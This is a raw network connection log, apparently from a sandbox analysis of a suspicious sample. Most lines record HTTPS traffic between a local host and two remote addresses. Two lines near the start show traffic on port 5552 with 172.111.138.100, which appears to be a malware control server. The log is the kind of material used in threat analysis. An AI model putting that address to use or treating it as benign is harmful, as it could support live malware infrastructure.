Dec 30, 2024 11:37:25.155565977 CET	443	50445	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:25.155765057 CET	50445	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:25.156414032 CET	50445	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:25.175054073 CET	443	50447	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:25.175148964 CET	50447	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:25.175936937 CET	50447	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:25.175945044 CET	443	50447	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:25.177659988 CET	50447	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:25.177674055 CET	443	50447	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:25.183068037 CET	443	50446	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:25.183167934 CET	50446	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:25.183860064 CET	443	50446	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:25.184050083 CET	50446	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:25.185739040 CET	50446	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:25.185748100 CET	443	50446	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:25.186038017 CET	443	50446	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:25.186244965 CET	50446	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:25.186482906 CET	50446	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:25.199347973 CET	443	50445	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:25.231327057 CET	443	50446	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:25.462798119 CET	5552	49758	172.111.138.100	192.168.2.4
Dec 30, 2024 11:37:25.517908096 CET	49758	5552	192.168.2.4	172.111.138.100
Dec 30, 2024 11:37:25.527559042 CET	443	50445	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:25.527635098 CET	50445	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:25.527662992 CET	443	50445	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:25.527703047 CET	50445	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:25.527765036 CET	50445	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:25.527802944 CET	443	50445	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:25.527972937 CET	443	50445	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:25.528024912 CET	50445	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:25.528042078 CET	50445	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:25.528327942 CET	50450	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:25.528374910 CET	443	50450	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:25.528400898 CET	50451	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:25.528441906 CET	443	50451	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:25.528445005 CET	50450	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:25.528516054 CET	50451	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:25.528669119 CET	50450	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:25.528687954 CET	443	50450	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:25.528788090 CET	50451	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:25.528804064 CET	443	50451	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:25.559952021 CET	443	50446	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:25.560561895 CET	443	50446	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:25.560703039 CET	50446	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:25.561573982 CET	50452	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:25.561639071 CET	443	50452	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:25.561659098 CET	50446	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:25.561688900 CET	443	50446	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:25.561717987 CET	50452	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:25.562026978 CET	50452	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:25.562036991 CET	443	50452	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:25.591511965 CET	443	50447	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:25.591578007 CET	443	50447	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:25.591578960 CET	50447	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:25.591593981 CET	443	50447	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:25.591640949 CET	50447	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:25.591660023 CET	443	50447	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:25.591707945 CET	50447	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:25.591720104 CET	443	50447	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:25.591743946 CET	443	50447	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:25.591792107 CET	50447	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:25.591792107 CET	50447	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:25.592447996 CET	50447	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:25.592468977 CET	443	50447	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:25.592916012 CET	50453	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:25.592968941 CET	443	50453	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:25.593017101 CET	50453	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:25.593230009 CET	50453	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:25.593245029 CET	443	50453	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:26.125397921 CET	443	50450	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:26.125530958 CET	50450	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:26.126012087 CET	50450	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:26.126020908 CET	443	50450	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:26.126211882 CET	50450	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:26.126216888 CET	443	50450	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:26.132172108 CET	443	50451	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:26.132241011 CET	50451	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:26.132930994 CET	443	50451	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:26.132977009 CET	50451	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:26.136193991 CET	50451	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:26.136205912 CET	443	50451	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:26.136507034 CET	443	50451	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:26.136607885 CET	50451	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:26.136970997 CET	50451	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:26.161465883 CET	443	50452	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:26.161567926 CET	50452	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:26.162285089 CET	443	50452	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:26.162339926 CET	50452	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:26.167789936 CET	50452	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:26.167815924 CET	443	50452	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:26.168129921 CET	443	50452	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:26.168201923 CET	50452	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:26.168819904 CET	50452	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:26.179327965 CET	443	50451	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:26.202884912 CET	443	50453	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:26.203145981 CET	50453	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:26.203583956 CET	50453	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:26.203594923 CET	443	50453	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:26.203756094 CET	50453	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:26.203759909 CET	443	50453	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:26.215333939 CET	443	50452	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:26.503343105 CET	443	50451	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:26.503391981 CET	50451	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:26.503403902 CET	443	50451	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:26.503442049 CET	50451	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:26.503627062 CET	50451	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:26.503683090 CET	443	50451	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:26.503731012 CET	50451	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:26.504151106 CET	50454	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:26.504198074 CET	443	50454	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:26.504260063 CET	50454	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:26.504612923 CET	50454	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:26.504632950 CET	443	50454	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:26.537933111 CET	443	50452	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:26.537987947 CET	50452	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:26.538019896 CET	443	50452	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:26.538089991 CET	50452	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:26.538177967 CET	50452	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:26.538218975 CET	443	50452	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:26.538265944 CET	50452	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:26.538892984 CET	50455	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:26.538917065 CET	443	50455	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:26.539026976 CET	50455	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:26.539222956 CET	50455	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:26.539241076 CET	443	50455	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:26.551139116 CET	443	50450	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:26.551192045 CET	50450	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:26.551193953 CET	443	50450	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:26.551213026 CET	443	50450	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:26.551232100 CET	50450	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:26.551255941 CET	50450	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:26.551260948 CET	443	50450	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:26.551306009 CET	443	50450	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:26.551347971 CET	50450	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:26.552375078 CET	50450	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:26.552392960 CET	443	50450	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:26.552834988 CET	50456	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:26.552867889 CET	443	50456	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:26.552959919 CET	50456	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:26.553212881 CET	50456	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:26.553231955 CET	443	50456	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:26.708143950 CET	443	50453	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:26.708201885 CET	443	50453	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:26.708265066 CET	50453	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:26.708265066 CET	50453	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:26.708285093 CET	443	50453	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:26.708304882 CET	443	50453	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:26.708364010 CET	50453	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:26.708364010 CET	50453	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:26.709716082 CET	50457	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:26.709769964 CET	443	50457	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:26.709832907 CET	50453	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:26.709851980 CET	443	50453	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:26.709882021 CET	50457	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:26.710081100 CET	50457	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:26.710098982 CET	443	50457	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:27.104830980 CET	443	50454	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:27.105004072 CET	50454	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:27.105622053 CET	443	50454	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:27.106882095 CET	50454	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:27.108191967 CET	50454	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:27.108211994 CET	443	50454	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:27.108506918 CET	443	50454	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:27.108617067 CET	50454	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:27.108905077 CET	50454	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:27.155342102 CET	443	50454	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:27.157736063 CET	443	50455	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:27.157998085 CET	50455	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:27.158607006 CET	443	50455	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:27.158710003 CET	50455	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:27.161429882 CET	443	50456	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:27.161886930 CET	50456	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:27.164238930 CET	50455	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:27.164266109 CET	443	50455	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:27.164505005 CET	443	50455	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:27.164773941 CET	50455	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:27.165282965 CET	50455	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:27.171881914 CET	50456	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:27.171889067 CET	443	50456	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:27.174160957 CET	50456	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:27.174166918 CET	443	50456	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:27.211335897 CET	443	50455	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:27.309290886 CET	443	50457	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:27.310965061 CET	50457	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:27.311434031 CET	50457	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:27.311434984 CET	50457	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:27.311449051 CET	443	50457	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:27.311463118 CET	443	50457	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:27.475761890 CET	443	50454	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:27.476444006 CET	50454	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:27.476475000 CET	443	50454	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:27.476942062 CET	443	50454	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:27.477284908 CET	50454	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:27.477503061 CET	50454	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:27.477519035 CET	443	50454	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:27.478558064 CET	50458	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:27.478610039 CET	443	50458	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:27.484220982 CET	50458	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:27.484220982 CET	50458	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:27.484261990 CET	443	50458	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:27.531924009 CET	443	50455	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:27.532320023 CET	50455	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:27.532340050 CET	443	50455	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:27.532458067 CET	50455	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:27.532458067 CET	50455	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:27.532497883 CET	443	50455	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:27.532701969 CET	443	50455	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:27.532790899 CET	50455	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:27.533057928 CET	50455	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:27.533288002 CET	50459	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:27.533338070 CET	443	50459	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:27.533463955 CET	50459	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:27.534554958 CET	50459	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:27.534568071 CET	443	50459	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:27.611527920 CET	443	50456	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:27.611567974 CET	443	50456	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:27.611643076 CET	50456	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:27.611643076 CET	50456	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:27.611660004 CET	443	50456	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:27.611759901 CET	443	50456	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:27.611829042 CET	50456	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:27.612481117 CET	50456	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:27.612520933 CET	443	50456	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:27.613409042 CET	50461	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:27.613460064 CET	443	50461	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:27.613528013 CET	50461	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:27.613720894 CET	50461	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:27.613738060 CET	443	50461	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:27.753725052 CET	443	50457	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:27.753791094 CET	50457	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:27.753822088 CET	443	50457	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:27.753870010 CET	50457	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:27.753878117 CET	443	50457	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:27.753946066 CET	443	50457	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:27.753954887 CET	50457	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:27.753982067 CET	50457	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:27.756356001 CET	50457	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:27.756375074 CET	443	50457	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:27.757394075 CET	50462	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:27.757441998 CET	443	50462	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:27.757502079 CET	50462	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:27.757698059 CET	50462	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:27.757715940 CET	443	50462	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:28.094352961 CET	443	50458	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:28.094439030 CET	50458	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:28.096402884 CET	443	50458	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:28.096461058 CET	50458	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:28.100594044 CET	50458	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:28.100608110 CET	443	50458	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:28.101044893 CET	443	50458	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:28.101092100 CET	50458	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:28.101458073 CET	50458	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:28.143337965 CET	443	50458	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:28.162487030 CET	443	50459	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:28.162561893 CET	50459	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:28.163311005 CET	443	50459	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:28.163376093 CET	50459	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:28.165021896 CET	50459	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:28.165031910 CET	443	50459	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:28.165321112 CET	443	50459	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:28.165421009 CET	50459	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:28.165671110 CET	50459	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:28.211334944 CET	443	50459	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:28.221955061 CET	443	50461	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:28.222018003 CET	50461	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:28.222425938 CET	50461	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:28.222439051 CET	443	50461	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:28.222809076 CET	50461	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:28.222816944 CET	443	50461	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:28.380281925 CET	443	50462	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:28.380333900 CET	50462	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:28.384311914 CET	50462	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:28.384326935 CET	443	50462	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:28.384517908 CET	50462	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:28.384522915 CET	443	50462	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:28.473695040 CET	443	50458	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:28.473787069 CET	50458	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:28.473808050 CET	443	50458	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:28.473855019 CET	50458	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:28.474430084 CET	50458	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:28.474467993 CET	443	50458	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:28.474657059 CET	443	50458	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:28.474695921 CET	50458	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:28.474695921 CET	50458	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:28.475305080 CET	50463	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:28.475356102 CET	443	50463	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:28.475444078 CET	50463	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:28.478821993 CET	50463	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:28.478837013 CET	443	50463	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:28.538957119 CET	443	50459	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:28.539071083 CET	50459	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:28.539429903 CET	50459	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:28.539468050 CET	443	50459	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:28.539623976 CET	443	50459	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:28.539661884 CET	50459	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:28.539661884 CET	50459	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:28.539710999 CET	50464	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:28.539755106 CET	443	50464	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:28.539829969 CET	50464	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:28.540117979 CET	50464	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:28.540134907 CET	443	50464	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:28.549268961 CET	50461	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:28.549298048 CET	50462	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:28.549319029 CET	50463	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:28.549841881 CET	50465	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:28.549877882 CET	443	50465	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:28.549961090 CET	50465	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:28.550690889 CET	50465	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:28.550702095 CET	443	50465	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:28.551600933 CET	50466	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:28.551628113 CET	443	50466	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:28.551675081 CET	50466	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:28.552496910 CET	50466	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:28.552506924 CET	443	50466	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:28.552905083 CET	50467	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:28.552932024 CET	443	50467	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:28.553071976 CET	50467	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:28.553757906 CET	50467	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:28.553766966 CET	443	50467	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:29.140655041 CET	443	50464	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:29.140742064 CET	50464	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:29.141467094 CET	443	50464	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:29.141535044 CET	50464	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:29.153945923 CET	50464	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:29.153975964 CET	443	50464	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:29.154298067 CET	443	50464	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:29.154408932 CET	50464	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:29.154831886 CET	50464	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:29.157480001 CET	443	50467	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:29.157578945 CET	50467	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:29.158196926 CET	443	50465	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:29.158267021 CET	50465	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:29.158512115 CET	443	50467	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:29.158560991 CET	50467	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:29.161484957 CET	50467	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:29.161504030 CET	443	50467	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:29.161746025 CET	443	50467	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:29.162009954 CET	50465	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:29.162028074 CET	443	50465	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:29.162048101 CET	50467	443	192.168.2.4	142.250.186.142
